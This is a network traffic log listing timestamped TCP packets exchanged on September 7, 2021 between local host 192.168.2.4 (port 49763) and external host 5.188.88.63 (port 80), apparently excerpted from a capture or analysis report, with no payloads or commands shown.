Sep 7, 2021 16:02:55.591692924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591711044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591722012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591737986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591761112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591763020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591785908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591808081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591809034 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591830969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591854095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591873884 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591876030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591898918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591906071 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591926098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591949940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591950893 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.591972113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.591995001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.592015028 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.592017889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.592041016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.592048883 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.592063904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.592086077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.592097044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.592139959 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.601178885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.607810974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.607856035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.607891083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.652168989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652209997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652232885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652255058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652259111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.652276039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652287006 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.652309895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652332067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652333975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.652354956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.652393103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655082941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655183077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655184031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655236959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655282974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655287027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655334949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655381918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655385017 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655436039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655487061 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655488014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655536890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655581951 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655586004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655637026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655687094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655690908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655740023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655781031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.655790091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655881882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655929089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.655946016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.657850027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.657908916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.657948971 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.657958984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658009052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658030987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658056021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658101082 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658102036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658153057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658194065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658200979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658257008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658298016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658308983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658356905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658406019 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658406973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658457994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658503056 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658508062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658557892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658597946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658607960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658665895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658711910 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658720016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658767939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658812046 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658818960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658869028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658915997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.658919096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.658965111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659003973 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659013033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659066916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659107924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659142017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659204960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659254074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659303904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659326077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659348965 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659353971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659403086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659439087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659451962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659501076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659540892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659558058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659609079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659648895 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659657001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659760952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659785032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659806967 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659807920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659832001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659849882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659856081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659882069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659890890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659908056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659930944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659940958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.659955978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659979105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.659993887 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.660001993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.660036087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.660052061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.660114050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.660137892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.660154104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.660161018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.660195112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.664714098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.672687054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.672838926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.672898054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.716684103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716710091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716722965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716734886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716747046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716762066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716777086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716793060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716809034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716824055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.716840982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.716912031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.719875097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727164984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727200985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727225065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727247000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727266073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727277994 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727287054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727310896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727327108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727336884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727353096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727369070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727385044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727386951 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727405071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727411985 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727422953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727442980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727449894 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727468967 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727480888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727502108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727519035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727531910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727544069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727637053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727637053 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727658033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727680922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727704048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727725029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727742910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727761030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727786064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727794886 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727804899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727827072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727849007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727864981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727874041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727896929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727919102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727920055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727937937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727958918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727961063 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.727977037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.727998972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728019953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728025913 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728044987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728063107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728080034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728097916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728108883 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728126049 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728127003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728148937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728179932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728200912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728214025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728224039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728245974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728264093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728266954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728287935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728307009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728322029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728328943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728348970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728357077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728374004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728398085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728411913 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728419065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728439093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728446007 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728458881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728478909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728497982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728511095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728516102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728539944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728552103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728564024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728571892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728586912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728607893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728621960 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728629112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728650093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728671074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728678942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728693008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.728724003 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728749037 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.728899002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.737307072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.737334967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.737358093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.737396955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.781629086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.781704903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.781975985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782072067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782231092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.782257080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782305002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782367945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782401085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782432079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782475948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782499075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.782521963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.782525063 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.782541037 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.796749115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796773911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796839952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796860933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796874046 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.796875954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796897888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796905994 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.796920061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796943903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796966076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796984911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.796987057 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797008991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797017097 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797032118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797055006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797072887 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797077894 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797101021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797121048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797142029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797144890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797163010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797234058 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797239065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797252893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797272921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797291040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797310114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797331095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797331095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797348022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797368050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797380924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797388077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797408104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797415018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797427893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797451019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797471046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797475100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797492027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797511101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797516108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797545910 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797554970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797569990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797590017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797610998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797611952 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797636032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797636032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797657967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797677994 CEST	80	49763	5.188.88.63	192.168.2.4
